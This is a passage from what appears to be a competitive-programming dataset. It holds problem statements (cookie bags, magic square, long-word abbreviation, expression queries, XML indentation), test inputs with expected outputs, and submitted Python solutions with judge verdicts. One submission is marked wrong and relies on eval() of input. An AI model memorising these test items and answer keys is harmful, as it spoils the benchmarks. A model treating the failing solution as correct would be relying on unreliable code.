8 45 97 64 37 96 34 36 53 66 17 72 48 99 23 27 18 92 84 44 73 60 78 53 29 68 99 19 39 61 40 69 6 77 12 47 29 15 4 8 45", "output": "53" }, { "input": "100\n82 40 31 53 8 50 85 93 3 84 54 17 96 59 51 42 18 19 35 84 79 31 17 46 54 82 72 49 35 73 26 89 61 73 3 50 12 29 25 77 88 21 58 24 22 89 96 54 82 29 96 56 77 16 1 68 90 93 20 23 57 22 31 18 92 90 51 14 50 72 31 54 12 50 66 62 2 34 17 45 68 50 87 97 23 71 1 72 17 82 42 15 20 78 4 49 66 59 10 17", "output": "54" }, { "input": "100\n32 82 82 24 39 53 48 5 29 24 9 37 91 37 91 95 1 97 84 52 12 56 93 47 22 20 14 17 40 22 79 34 24 2 69 30 69 29 3 89 21 46 60 92 39 29 18 24 49 18 40 22 60 13 77 50 39 64 50 70 99 8 66 31 90 38 20 54 7 21 5 56 41 68 69 20 54 89 69 62 9 53 43 89 81 97 15 2 52 78 89 65 16 61 59 42 56 25 32 52", "output": "49" }, { "input": "100\n72 54 23 24 97 14 99 87 15 25 7 23 17 87 72 31 71 87 34 82 51 77 74 85 62 38 24 7 84 48 98 21 29 71 70 84 25 58 67 92 18 44 32 9 81 15 53 29 63 18 86 16 7 31 38 99 70 32 89 16 23 11 66 96 69 82 97 59 6 9 49 80 85 19 6 9 52 51 85 74 53 46 73 55 31 63 78 61 34 80 77 65 87 77 92 52 89 8 52 31", "output": "44" }, { "input": "100\n56 88 8 19 7 15 11 54 35 50 19 57 63 72 51 43 50 19 57 90 40 100 8 92 11 96 30 32 59 65 93 47 62 3 50 41 30 50 72 83 61 46 83 60 20 46 33 1 5 18 83 22 34 16 41 95 63 63 7 59 55 95 91 29 64 60 64 81 45 45 10 9 88 37 69 85 21 82 41 76 42 34 47 78 51 83 65 100 13 22 59 76 63 1 26 86 36 94 99 74", "output": "46" }, { "input": "100\n27 89 67 60 62 80 43 50 28 88 72 5 94 11 63 91 18 78 99 3 71 26 12 97 74 62 23 24 22 3 100 72 98 7 94 32 12 75 61 88 42 48 10 14 45 9 48 56 73 76 70 70 79 90 35 39 96 37 81 11 19 65 99 39 23 79 34 61 35 74 90 37 73 23 46 21 94 84 73 58 11 89 13 9 10 85 42 78 73 32 53 39 49 90 43 5 28 31 97 75", "output": "53" }, { "input": "100\n33 24 97 96 1 14 99 51 13 65 67 20 46 88 42 44 20 49 5 89 98 83 15 40 74 83 58 3 10 79 34 2 69 28 37 100 55 52 14 8 44 94 97 89 6 42 11 28 30 33 55 56 20 57 52 25 75 1 87 42 62 41 37 12 54 85 95 80 42 36 94 96 28 76 54 36 4 17 26 24 62 15 17 79 84 36 92 78 74 91 96 77 54 92 81 91 62 98 37 37", "output": "43" }, { "input": "100\n86 24 61 15 11 85 1 31 47 36 23 36 59 34 3 27 16 29 82 28 58 52 52 66 71 61 98 39 60 20 67 41 67 90 73 29 92 17 70 95 58 98 58 32 21 73 46 56 87 72 80 75 40 27 94 31 59 92 93 37 14 99 96 21 97 23 81 91 52 52 96 94 92 28 38 29 52 16 57 27 17 24 91 21 79 55 96 98 95 94 23 78 79 12 77 35 32 75 100 82", "output": "51" }, { "input": "100\n88 85 41 37 69 21 7 69 36 5 92 26 64 75 22 46 67 20 70 22 62 66 38 24 47 49 68 30 90 31 67 86 86 82 9 51 43 45 48 42 73 44 31 94 45 60 54 66 20 87 11 94 34 32 87 66 56 28 75 39 37 90 72 93 55 72 31 42 30 71 87 61 4 12 12 81 23 61 56 98 71 32 30 33 96 63 92 16 8 78 47 91 47 54 49 3 81 82 41 5", "output": "47" }, { "input": "1\n2", "output": "1" }, { "input": "5\n1 1 3 2 2", "output": "3" } ]
1,578,528,772
2,147,483,647
Python 3
OK
TESTS
52
248
0
n=int(input()) a=[int(i) for i in input().split()] s=sum(a) c=0 for i in a: if (s-i)%2==0: c+=1 print(c)
Title: Cookies Time Limit: None seconds Memory Limit: None megabytes Problem Description: Olga came to visit the twins Anna and Maria and saw that they have many cookies. The cookies are distributed into bags. As there are many cookies, Olga decided that it's no big deal if she steals a bag. However, she doesn't want the sisters to quarrel because of nothing when they divide the cookies. That's why Olga wants to steal a bag with cookies so that the number of cookies in the remaining bags was even, that is, so that Anna and Maria could evenly divide it into two (even 0 remaining cookies will do, just as any other even number). How many ways there are to steal exactly one cookie bag so that the total number of cookies in the remaining bags was even? Input Specification: The first line contains the only integer *n* (1<=≤<=*n*<=≤<=100) — the number of cookie bags Anna and Maria have. The second line contains *n* integers *a**i* (1<=≤<=*a**i*<=≤<=100) — the number of cookies in the *i*-th bag. Output Specification: Print in the only line the only number — the sought number of ways. If there are no such ways print 0. Demo Input: ['1\n1\n', '10\n1 2 2 3 4 4 4 2 2 2\n', '11\n2 2 2 2 2 2 2 2 2 2 99\n'] Demo Output: ['1\n', '8\n', '1\n'] Note: In the first sample Olga should take the only bag so that the twins ended up with the even number of cookies. In the second sample Olga can take any of five bags with two cookies or any of three bags with four cookies — 5 + 3 = 8 ways in total. In the third sample, no matter which bag with two cookies Olga chooses, the twins are left with 2 * 9 + 99 = 117 cookies. Thus, Olga has only one option: to take the bag with 99 cookies.
```python n=int(input()) a=[int(i) for i in input().split()] s=sum(a) c=0 for i in a: if (s-i)%2==0: c+=1 print(c) ```
3
259
B
Little Elephant and Magic Square
PROGRAMMING
1,100
[ "brute force", "implementation" ]
null
null
Little Elephant loves magic squares very much. A magic square is a 3<=×<=3 table, each cell contains some positive integer. At that the sums of integers in all rows, columns and diagonals of the table are equal. The figure below shows the magic square, the sum of integers in all its rows, columns and diagonals equals 15. The Little Elephant remembered one magic square. He started writing this square on a piece of paper, but as he wrote, he forgot all three elements of the main diagonal of the magic square. Fortunately, the Little Elephant clearly remembered that all elements of the magic square did not exceed 105. Help the Little Elephant, restore the original magic square, given the Elephant's notes.
The first three lines of the input contain the Little Elephant's notes. The first line contains elements of the first row of the magic square. The second line contains the elements of the second row, the third line is for the third row. The main diagonal elements that have been forgotten by the Elephant are represented by zeroes. It is guaranteed that the notes contain exactly three zeroes and they are all located on the main diagonal. It is guaranteed that all positive numbers in the table do not exceed 105.
Print three lines, in each line print three integers — the Little Elephant's magic square. If there are multiple magic squares, you are allowed to print any of them. Note that all numbers you print must be positive and not exceed 105. It is guaranteed that there exists at least one magic square that meets the conditions.
[ "0 1 1\n1 0 1\n1 1 0\n", "0 3 6\n5 0 5\n4 7 0\n" ]
[ "1 1 1\n1 1 1\n1 1 1\n", "6 3 6\n5 5 5\n4 7 4\n" ]
none
1,000
[ { "input": "0 1 1\n1 0 1\n1 1 0", "output": "1 1 1\n1 1 1\n1 1 1" }, { "input": "0 3 6\n5 0 5\n4 7 0", "output": "6 3 6\n5 5 5\n4 7 4" }, { "input": "0 4 4\n4 0 4\n4 4 0", "output": "4 4 4\n4 4 4\n4 4 4" }, { "input": "0 54 48\n36 0 78\n66 60 0", "output": "69 54 48\n36 57 78\n66 60 45" }, { "input": "0 17 14\n15 0 15\n16 13 0", "output": "14 17 14\n15 15 15\n16 13 16" }, { "input": "0 97 56\n69 0 71\n84 43 0", "output": "57 97 56\n69 70 71\n84 43 83" }, { "input": "0 1099 1002\n1027 0 1049\n1074 977 0", "output": "1013 1099 1002\n1027 1038 1049\n1074 977 1063" }, { "input": "0 98721 99776\n99575 0 99123\n98922 99977 0", "output": "99550 98721 99776\n99575 99349 99123\n98922 99977 99148" }, { "input": "0 6361 2304\n1433 0 8103\n7232 3175 0", "output": "5639 6361 2304\n1433 4768 8103\n7232 3175 3897" }, { "input": "0 99626 99582\n99766 0 99258\n99442 99398 0", "output": "99328 99626 99582\n99766 99512 99258\n99442 99398 99696" }, { "input": "0 99978 99920\n99950 0 99918\n99948 99890 0", "output": "99904 99978 99920\n99950 99934 99918\n99948 99890 99964" }, { "input": "0 840 666\n612 0 948\n894 720 0", "output": "834 840 666\n612 780 948\n894 720 726" }, { "input": "0 28 10\n12 0 24\n26 8 0", "output": "16 28 10\n12 18 24\n26 8 20" }, { "input": "0 120 83\n98 0 90\n105 68 0", "output": "79 120 83\n98 94 90\n105 68 109" }, { "input": "0 86900 85807\n85836 0 86842\n86871 85778 0", "output": "86310 86900 85807\n85836 86339 86842\n86871 85778 86368" }, { "input": "0 74 78\n78 0 74\n74 78 0", "output": "76 74 78\n78 76 74\n74 78 76" }, { "input": "0 505 681\n605 0 657\n581 757 0", "output": "707 505 681\n605 631 657\n581 757 555" }, { "input": "0 662 918\n822 0 854\n758 1014 0", "output": "934 662 918\n822 838 854\n758 1014 742" }, { "input": "0 93 95\n93 0 97\n95 97 0", "output": "97 93 95\n93 95 97\n95 97 93" }, { "input": "0 709 712\n719 0 695\n702 705 0", "output": "700 709 712\n719 707 695\n702 705 714" }, { "input": "0 7 6\n9 0 1\n4 3 0", "output": "2 7 6\n9 5 1\n4 3 8" }, { "input": "0 9 2\n3 0 7\n8 1 0", "output": "4 9 2\n3 5 7\n8 1 6" }, { "input": "0 1 43\n13 0 61\n31 73 0", "output": "67 1 43\n13 37 61\n31 73 7" }, { "input": "0 100000 100000\n100000 0 100000\n100000 100000 0", "output": "100000 100000 100000\n100000 100000 100000\n100000 100000 100000" } ]
1,621,474,200
2,147,483,647
Python 3
OK
TESTS
24
154
0
square = [list(map(int, input().split())) for _ in range(3)] tmp = sum(map(sum, square)) // 2 for i in range(3): square[i][i] = tmp - sum(square[i]) print(*square[i])
Title: Little Elephant and Magic Square Time Limit: None seconds Memory Limit: None megabytes Problem Description: Little Elephant loves magic squares very much. A magic square is a 3<=×<=3 table, each cell contains some positive integer. At that the sums of integers in all rows, columns and diagonals of the table are equal. The figure below shows the magic square, the sum of integers in all its rows, columns and diagonals equals 15. The Little Elephant remembered one magic square. He started writing this square on a piece of paper, but as he wrote, he forgot all three elements of the main diagonal of the magic square. Fortunately, the Little Elephant clearly remembered that all elements of the magic square did not exceed 105. Help the Little Elephant, restore the original magic square, given the Elephant's notes. Input Specification: The first three lines of the input contain the Little Elephant's notes. The first line contains elements of the first row of the magic square. The second line contains the elements of the second row, the third line is for the third row. The main diagonal elements that have been forgotten by the Elephant are represented by zeroes. It is guaranteed that the notes contain exactly three zeroes and they are all located on the main diagonal. It is guaranteed that all positive numbers in the table do not exceed 105. Output Specification: Print three lines, in each line print three integers — the Little Elephant's magic square. If there are multiple magic squares, you are allowed to print any of them. Note that all numbers you print must be positive and not exceed 105. It is guaranteed that there exists at least one magic square that meets the conditions. Demo Input: ['0 1 1\n1 0 1\n1 1 0\n', '0 3 6\n5 0 5\n4 7 0\n'] Demo Output: ['1 1 1\n1 1 1\n1 1 1\n', '6 3 6\n5 5 5\n4 7 4\n'] Note: none
```python square = [list(map(int, input().split())) for _ in range(3)] tmp = sum(map(sum, square)) // 2 for i in range(3): square[i][i] = tmp - sum(square[i]) print(*square[i]) ```
3
71
A
Way Too Long Words
PROGRAMMING
800
[ "strings" ]
A. Way Too Long Words
1
256
Sometimes some words like "localization" or "internationalization" are so long that writing them many times in one text is quite tiresome. Let's consider a word too long, if its length is strictly more than 10 characters. All too long words should be replaced with a special abbreviation. This abbreviation is made like this: we write down the first and the last letter of a word and between them we write the number of letters between the first and the last letters. That number is in decimal system and doesn't contain any leading zeroes. Thus, "localization" will be spelt as "l10n", and "internationalization» will be spelt as "i18n". You are suggested to automatize the process of changing the words with abbreviations. At that all too long words should be replaced by the abbreviation and the words that are not too long should not undergo any changes.
The first line contains an integer *n* (1<=≤<=*n*<=≤<=100). Each of the following *n* lines contains one word. All the words consist of lowercase Latin letters and possess the lengths of from 1 to 100 characters.
Print *n* lines. The *i*-th line should contain the result of replacing of the *i*-th word from the input data.
[ "4\nword\nlocalization\ninternationalization\npneumonoultramicroscopicsilicovolcanoconiosis\n" ]
[ "word\nl10n\ni18n\np43s\n" ]
none
500
[ { "input": "4\nword\nlocalization\ninternationalization\npneumonoultramicroscopicsilicovolcanoconiosis", "output": "word\nl10n\ni18n\np43s" }, { "input": "5\nabcdefgh\nabcdefghi\nabcdefghij\nabcdefghijk\nabcdefghijklm", "output": "abcdefgh\nabcdefghi\nabcdefghij\na9k\na11m" }, { "input": "3\nnjfngnrurunrgunrunvurn\njfvnjfdnvjdbfvsbdubruvbubvkdb\nksdnvidnviudbvibd", "output": "n20n\nj27b\nk15d" }, { "input": "1\ntcyctkktcctrcyvbyiuhihhhgyvyvyvyvjvytchjckt", "output": "t41t" }, { "input": "24\nyou\nare\nregistered\nfor\npractice\nyou\ncan\nsolve\nproblems\nunofficially\nresults\ncan\nbe\nfound\nin\nthe\ncontest\nstatus\nand\nin\nthe\nbottom\nof\nstandings", "output": "you\nare\nregistered\nfor\npractice\nyou\ncan\nsolve\nproblems\nu10y\nresults\ncan\nbe\nfound\nin\nthe\ncontest\nstatus\nand\nin\nthe\nbottom\nof\nstandings" }, { "input": "1\na", "output": "a" }, { "input": "26\na\nb\nc\nd\ne\nf\ng\nh\ni\nj\nk\nl\nm\nn\no\np\nq\nr\ns\nt\nu\nv\nw\nx\ny\nz", "output": "a\nb\nc\nd\ne\nf\ng\nh\ni\nj\nk\nl\nm\nn\no\np\nq\nr\ns\nt\nu\nv\nw\nx\ny\nz" }, { "input": "1\nabcdefghijabcdefghijabcdefghijabcdefghijabcdefghijabcdefghijabcdefghijabcdefghijabcdefghijabcdefghij", "output": "a98j" }, { "input": "10\ngyartjdxxlcl\nfzsck\nuidwu\nxbymclornemdmtj\nilppyoapitawgje\ncibzc\ndrgbeu\nhezplmsdekhhbo\nfeuzlrimbqbytdu\nkgdco", "output": "g10l\nfzsck\nuidwu\nx13j\ni13e\ncibzc\ndrgbeu\nh12o\nf13u\nkgdco" }, { "input": "20\nlkpmx\nkovxmxorlgwaomlswjxlpnbvltfv\nhykasjxqyjrmybejnmeumzha\ntuevlumpqbbhbww\nqgqsphvrmupxxc\ntrissbaf\nqfgrlinkzvzqdryckaizutd\nzzqtoaxkvwoscyx\noswytrlnhpjvvnwookx\nlpuzqgec\ngyzqfwxggtvpjhzmzmdw\nrlxjgmvdftvrmvbdwudra\nvsntnjpepnvdaxiporggmglhagv\nxlvcqkqgcrbgtgglj\nlyxwxbiszyhlsrgzeedzprbmcpduvq\nyrmqqvrkqskqukzqrwukpsifgtdc\nxpuohcsjhhuhvr\nvvlfrlxpvqejngwrbfbpmqeirxlw\nsvmasocxdvadmaxtrpakysmeaympy\nyuflqboqfdt", "output": "lkpmx\nk26v\nh22a\nt13w\nq12c\ntrissbaf\nq21d\nz13x\no17x\nlpuzqgec\ng18w\nr19a\nv25v\nx15j\nl28q\ny26c\nx12r\nv26w\ns27y\ny9t" }, { "input": "100\nm\nz\ns\nv\nd\nr\nv\ny\ny\ne\np\nt\nc\na\nn\nm\np\ng\ni\nj\nc\na\nb\nq\ne\nn\nv\no\nk\nx\nf\ni\nl\na\nq\nr\nu\nb\ns\nl\nc\nl\ne\nv\nj\nm\nx\nb\na\nq\nb\na\nf\nj\nv\nm\nq\nc\nt\nt\nn\nx\no\ny\nr\nu\nh\nm\nj\np\nj\nq\nz\ns\nj\no\ng\nc\nm\nn\no\nm\nr\no\ns\nt\nh\nr\np\nk\nb\nz\ng\no\nc\nc\nz\nz\ng\nr", "output": "m\nz\ns\nv\nd\nr\nv\ny\ny\ne\np\nt\nc\na\nn\nm\np\ng\ni\nj\nc\na\nb\nq\ne\nn\nv\no\nk\nx\nf\ni\nl\na\nq\nr\nu\nb\ns\nl\nc\nl\ne\nv\nj\nm\nx\nb\na\nq\nb\na\nf\nj\nv\nm\nq\nc\nt\nt\nn\nx\no\ny\nr\nu\nh\nm\nj\np\nj\nq\nz\ns\nj\no\ng\nc\nm\nn\no\nm\nr\no\ns\nt\nh\nr\np\nk\nb\nz\ng\no\nc\nc\nz\nz\ng\nr" } ]
1,672,154,997
2,147,483,647
PyPy 3-64
OK
TESTS
20
62
0
n=int(input()) list_1 = [ ] for i in range(n): x=input() list_1.append(x) for word in list_1: if len(word) > 10 : print(word[0] + str(len(word)-2) + word[len(word)-1]) else: print(word)
Title: Way Too Long Words Time Limit: 1 seconds Memory Limit: 256 megabytes Problem Description: Sometimes some words like "localization" or "internationalization" are so long that writing them many times in one text is quite tiresome. Let's consider a word too long, if its length is strictly more than 10 characters. All too long words should be replaced with a special abbreviation. This abbreviation is made like this: we write down the first and the last letter of a word and between them we write the number of letters between the first and the last letters. That number is in decimal system and doesn't contain any leading zeroes. Thus, "localization" will be spelt as "l10n", and "internationalization» will be spelt as "i18n". You are suggested to automatize the process of changing the words with abbreviations. At that all too long words should be replaced by the abbreviation and the words that are not too long should not undergo any changes. Input Specification: The first line contains an integer *n* (1<=≤<=*n*<=≤<=100). Each of the following *n* lines contains one word. All the words consist of lowercase Latin letters and possess the lengths of from 1 to 100 characters. Output Specification: Print *n* lines. The *i*-th line should contain the result of replacing of the *i*-th word from the input data. Demo Input: ['4\nword\nlocalization\ninternationalization\npneumonoultramicroscopicsilicovolcanoconiosis\n'] Demo Output: ['word\nl10n\ni18n\np43s\n'] Note: none
```python n=int(input()) list_1 = [ ] for i in range(n): x=input() list_1.append(x) for word in list_1: if len(word) > 10 : print(word[0] + str(len(word)-2) + word[len(word)-1]) else: print(word) ```
3.969
730
L
Expression Queries
PROGRAMMING
3,200
[ "data structures" ]
null
null
A simplified arithmetic expression (SAE) is an arithmetic expression defined by the following grammar: - &lt;SAE&gt; ::= &lt;Number&gt; | &lt;SAE&gt;+&lt;SAE&gt; | &lt;SAE&gt;*&lt;SAE&gt; | (&lt;SAE&gt;) - &lt;Number&gt; ::= &lt;Digit&gt; | &lt;Digit&gt;&lt;Number&gt; - &lt;Digit&gt; ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 In other words it's a correct arithmetic expression that is allowed to contain brackets, numbers (possibly with leading zeros), multiplications and additions. For example expressions "(0+01)", "0" and "1*(0)" are simplified arithmetic expressions, but expressions "2-1", "+1" and "1+2)" are not. Given a string *s*1*s*2...*s*|*s*| that represents a SAE; *s**i* denotes the *i*-th character of the string which can be either a digit ('0'-'9'), a plus sign ('+'), a multiplication sign ('*'), an opening round bracket '(' or a closing round bracket ')'. A part *s**l**s**l*<=+<=1...*s**r* of this string is called a sub-expression if and only if it is a SAE. You task is to answer *m* queries, each of which is a pair of integers *l**i*, *r**i* (1<=≤<=*l**i*<=≤<=*r**i*<=≤<=|*s*|). For each query determine whether the corresponding part of the given string is a sub-expression and in case it's a sub-expression calculate its value modulo 1000000007 (109<=+<=7). The values should be calculated using standard operator priorities.
The first line of the input contains non-empty string *s* (1<=≤<=|*s*|<=≤<=4·105) which represents a correct SAE. Each character of the string can be one of the following characters: '*', '+', '(', ')' or a digit ('0'-'9'). The expression might contain extra-huge numbers. The second line contains an integer *m* (1<=≤<=*m*<=≤<=4·105) which is the number of queries. Each of the next *m* lines contains two space-separated integers *l**i*, *r**i* (1<=≤<=*l**i*<=≤<=*r**i*<=≤<=|*s*|) — the *i*-th query.
The *i*-th number of output should be the answer for the *i*-th query. If the *i*-th query corresponds to a valid sub-expression output the value of the sub-expression modulo 1000000007 (109<=+<=7). Otherwise output -1 as an answer for the query. Print numbers on separate lines.
[ "((1+2)*3+101*2)\n6\n8 14\n1 6\n2 10\n11 14\n5 5\n4 5\n", "(01)\n1\n1 4\n" ]
[ "205\n-1\n10\n2\n2\n-1\n", "1\n" ]
none
0
[]
1,477,412,092
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
7
3,993
921,600
import re import ast def isoper(item): if item == "+" or item == "*": return True else: return False def is_valid(code): try: ast.parse(code) except SyntaxError: return False return True def debug(item): item1 = item item1 = item1.replace("(","*").replace(")","*").replace("+", "*").split("*") for i in range(len(item1)): if item1[i] != "" and item1[i][0] == "0": item = item.replace(item1[i], str(int(item1[i]))) return item SAE = input() n=int(input()) for i in range(n): list1 = input().split() temp = SAE[int(list1[0])-1:int(list1[1])] if is_valid(temp): if isoper(temp[0]): print(-1) else: print(eval(temp)) else: temp = debug(temp) if is_valid(temp): if isoper(temp[0]): print(-1) else: print(eval(temp)) else: print(-1)
Title: Expression Queries Time Limit: None seconds Memory Limit: None megabytes Problem Description: A simplified arithmetic expression (SAE) is an arithmetic expression defined by the following grammar: - &lt;SAE&gt; ::= &lt;Number&gt; | &lt;SAE&gt;+&lt;SAE&gt; | &lt;SAE&gt;*&lt;SAE&gt; | (&lt;SAE&gt;) - &lt;Number&gt; ::= &lt;Digit&gt; | &lt;Digit&gt;&lt;Number&gt; - &lt;Digit&gt; ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 In other words it's a correct arithmetic expression that is allowed to contain brackets, numbers (possibly with leading zeros), multiplications and additions. For example expressions "(0+01)", "0" and "1*(0)" are simplified arithmetic expressions, but expressions "2-1", "+1" and "1+2)" are not. Given a string *s*1*s*2...*s*|*s*| that represents a SAE; *s**i* denotes the *i*-th character of the string which can be either a digit ('0'-'9'), a plus sign ('+'), a multiplication sign ('*'), an opening round bracket '(' or a closing round bracket ')'. A part *s**l**s**l*<=+<=1...*s**r* of this string is called a sub-expression if and only if it is a SAE. You task is to answer *m* queries, each of which is a pair of integers *l**i*, *r**i* (1<=≤<=*l**i*<=≤<=*r**i*<=≤<=|*s*|). For each query determine whether the corresponding part of the given string is a sub-expression and in case it's a sub-expression calculate its value modulo 1000000007 (109<=+<=7). The values should be calculated using standard operator priorities. Input Specification: The first line of the input contains non-empty string *s* (1<=≤<=|*s*|<=≤<=4·105) which represents a correct SAE. Each character of the string can be one of the following characters: '*', '+', '(', ')' or a digit ('0'-'9'). The expression might contain extra-huge numbers. The second line contains an integer *m* (1<=≤<=*m*<=≤<=4·105) which is the number of queries. Each of the next *m* lines contains two space-separated integers *l**i*, *r**i* (1<=≤<=*l**i*<=≤<=*r**i*<=≤<=|*s*|) — the *i*-th query. Output Specification: The *i*-th number of output should be the answer for the *i*-th query. If the *i*-th query corresponds to a valid sub-expression output the value of the sub-expression modulo 1000000007 (109<=+<=7). Otherwise output -1 as an answer for the query. Print numbers on separate lines. Demo Input: ['((1+2)*3+101*2)\n6\n8 14\n1 6\n2 10\n11 14\n5 5\n4 5\n', '(01)\n1\n1 4\n'] Demo Output: ['205\n-1\n10\n2\n2\n-1\n', '1\n'] Note: none
```python import re import ast def isoper(item): if item == "+" or item == "*": return True else: return False def is_valid(code): try: ast.parse(code) except SyntaxError: return False return True def debug(item): item1 = item item1 = item1.replace("(","*").replace(")","*").replace("+", "*").split("*") for i in range(len(item1)): if item1[i] != "" and item1[i][0] == "0": item = item.replace(item1[i], str(int(item1[i]))) return item SAE = input() n=int(input()) for i in range(n): list1 = input().split() temp = SAE[int(list1[0])-1:int(list1[1])] if is_valid(temp): if isoper(temp[0]): print(-1) else: print(eval(temp)) else: temp = debug(temp) if is_valid(temp): if isoper(temp[0]): print(-1) else: print(eval(temp)) else: print(-1) ```
0
125
B
Simple XML
PROGRAMMING
1,000
[ "implementation" ]
null
null
Let's define a string &lt;x&gt; as an opening tag, where *x* is any small letter of the Latin alphabet. Each opening tag matches a closing tag of the type &lt;/x&gt;, where *x* is the same letter. Tegs can be nested into each other: in this case one opening and closing tag pair is located inside another pair. Let's define the notion of a XML-text: - an empty string is a XML-text - if *s* is a XML-text, then *s*'=&lt;a&gt;+*s*+&lt;/a&gt; also is a XML-text, where *a* is any small Latin letter - if *s*1, *s*2 are XML-texts, then *s*1+*s*2 also is a XML-text You are given a XML-text (it is guaranteed that the text is valid), your task is to print in the following form: - each tag (opening and closing) is located on a single line - print before the tag 2<=*<=*h* spaces, where *h* is the level of the tag's nestedness.
The input data consists on the only non-empty string — the XML-text, its length does not exceed 1000 characters. It is guaranteed that the text is valid. The text contains no spaces.
Print the given XML-text according to the above-given rules.
[ "&lt;a&gt;&lt;b&gt;&lt;c&gt;&lt;/c&gt;&lt;/b&gt;&lt;/a&gt;\n", "&lt;a&gt;&lt;b&gt;&lt;/b&gt;&lt;d&gt;&lt;c&gt;&lt;/c&gt;&lt;/d&gt;&lt;/a&gt;\n" ]
[ "&lt;a&gt;\n &lt;b&gt;\n &lt;c&gt;\n &lt;/c&gt;\n &lt;/b&gt;\n&lt;/a&gt;\n", "&lt;a&gt;\n &lt;b&gt;\n &lt;/b&gt;\n &lt;d&gt;\n &lt;c&gt;\n &lt;/c&gt;\n &lt;/d&gt;\n&lt;/a&gt;\n" ]
none
1,500
[ { "input": "<a><b><c></c></b></a>", "output": "<a>\n <b>\n <c>\n </c>\n </b>\n</a>" }, { "input": "<a><b></b><d><c></c></d></a>", "output": "<a>\n <b>\n </b>\n <d>\n <c>\n </c>\n </d>\n</a>" }, { "input": "<z></z>", "output": "<z>\n</z>" }, { "input": "<u><d></d></u><j></j>", "output": "<u>\n <d>\n </d>\n</u>\n<j>\n</j>" }, { "input": "<a></a><n></n><v><r></r></v><z></z>", "output": "<a>\n</a>\n<n>\n</n>\n<v>\n <r>\n </r>\n</v>\n<z>\n</z>" }, { "input": "<c><l></l><b><w><f><t><m></m></t></f><w></w></w></b></c>", "output": "<c>\n <l>\n </l>\n <b>\n <w>\n <f>\n <t>\n <m>\n </m>\n </t>\n </f>\n <w>\n </w>\n </w>\n </b>\n</c>" }, { "input": "<u><d><g><k><m><a><u><j><d></d></j></u></a></m><m></m></k></g></d></u>", "output": "<u>\n <d>\n <g>\n <k>\n <m>\n <a>\n <u>\n <j>\n <d>\n </d>\n </j>\n </u>\n </a>\n </m>\n <m>\n </m>\n </k>\n </g>\n </d>\n</u>" }, { "input": "<x><a><l></l></a><g><v></v><d></d></g><z></z><y></y></x><q><h></h><s></s></q><c></c><w></w><q></q>", "output": "<x>\n <a>\n <l>\n </l>\n </a>\n <g>\n <v>\n </v>\n <d>\n </d>\n </g>\n <z>\n </z>\n <y>\n </y>\n</x>\n<q>\n <h>\n </h>\n <s>\n </s>\n</q>\n<c>\n</c>\n<w>\n</w>\n<q>\n</q>" }, { "input": "<b><k><t></t></k><j></j><t></t><q></q></b><x><h></h></x><r></r><k></k><i></i><t><b></b></t><z></z><x></x><p></p><u></u>", "output": "<b>\n <k>\n <t>\n </t>\n </k>\n <j>\n </j>\n <t>\n </t>\n <q>\n </q>\n</b>\n<x>\n <h>\n </h>\n</x>\n<r>\n</r>\n<k>\n</k>\n<i>\n</i>\n<t>\n <b>\n </b>\n</t>\n<z>\n</z>\n<x>\n</x>\n<p>\n</p>\n<u>\n</u>" }, { "input": "<c><l><i><h><z></z></h><y><k></k><o></o></y></i><a></a><x></x></l><r><y></y><k><s></s></k></r><j><a><f></f></a></j><h></h><p></p></c><h></h>", "output": "<c>\n <l>\n <i>\n <h>\n <z>\n </z>\n </h>\n <y>\n <k>\n </k>\n <o>\n </o>\n </y>\n </i>\n <a>\n </a>\n <x>\n </x>\n </l>\n <r>\n <y>\n </y>\n <k>\n <s>\n </s>\n </k>\n </r>\n <j>\n <a>\n <f>\n </f>\n </a>\n </j>\n <h>\n </h>\n <p>\n </p>\n</c>\n<h>\n</h>" }, { "input": "<p><q><l></l><q><k><r><n></n></r></k></q></q><x><z></z><r><k></k></r><h></h></x><c><p></p><o></o></c><n></n><c></c></p><b><c><z></z></c><u><u><f><a><d></d><q></q></a><x><i></i></x><r></r></f></u></u></b><j></j>", "output": "<p>\n <q>\n <l>\n </l>\n <q>\n <k>\n <r>\n <n>\n </n>\n </r>\n </k>\n </q>\n </q>\n <x>\n <z>\n </z>\n <r>\n <k>\n </k>\n </r>\n <h>\n </h>\n </x>\n <c>\n <p>\n </p>\n <o>\n </o>\n </c>\n <n>\n </n>\n <c>\n </c>\n</p>\n<b>\n <c>\n <z>\n </z>\n </c>\n <u>\n <u>\n <f>\n <a>\n <d>\n </d>\n <q>\n </q>\n </a>\n <x>\n <i>\n ..." }, { "input": "<w><q><x></x></q><r></r><o></o><u></u><o></o></w><d><z></z><n><x></x></n><y></y><s></s><k></k><q></q><a></a></d><h><u></u><s></s><y></y><t></t><f></f></h><v><w><q></q></w><s></s><h></h></v><q><o></o><k></k><w></w></q><c></c><p><j></j></p><c><u></u></c><s></s><x></x><b></b><i></i>", "output": "<w>\n <q>\n <x>\n </x>\n </q>\n <r>\n </r>\n <o>\n </o>\n <u>\n </u>\n <o>\n </o>\n</w>\n<d>\n <z>\n </z>\n <n>\n <x>\n </x>\n </n>\n <y>\n </y>\n <s>\n </s>\n <k>\n </k>\n <q>\n </q>\n <a>\n </a>\n</d>\n<h>\n <u>\n </u>\n <s>\n </s>\n <y>\n </y>\n <t>\n </t>\n <f>\n </f>\n</h>\n<v>\n <w>\n <q>\n </q>\n </w>\n <s>\n </s>\n <h>\n </h>\n</v>\n<q>\n <o>\n </o>\n <k>\n </k>\n <w>\n </w>\n</q>\n<c>\n</c>\n<p>\n <j>\n </j>\n</p>\n<c>\n <u>\n </u..." }, { "input": "<g><t><m><x><f><w><z><b><d><j></j><g><z></z><q><l><j></j><l><k></k><l><n><d></d><m></m></n></l><i><m><j></j></m></i></l></l><w><t><h><r><h></h><b></b></r></h></t><d><j></j></d><x><w><r><s><s></s></s></r></w><x></x></x></w><m><m><d></d><x><r><x><o><v></v><d><n></n></d></o></x></r></x></m></m></q></g><y></y></d></b></z></w></f></x><a></a></m></t></g>", "output": "<g>\n <t>\n <m>\n <x>\n <f>\n <w>\n <z>\n <b>\n <d>\n <j>\n </j>\n <g>\n <z>\n </z>\n <q>\n <l>\n <j>\n </j>\n <l>\n <k>\n </k>\n <l>\n <n>\n ..." }, { "input": 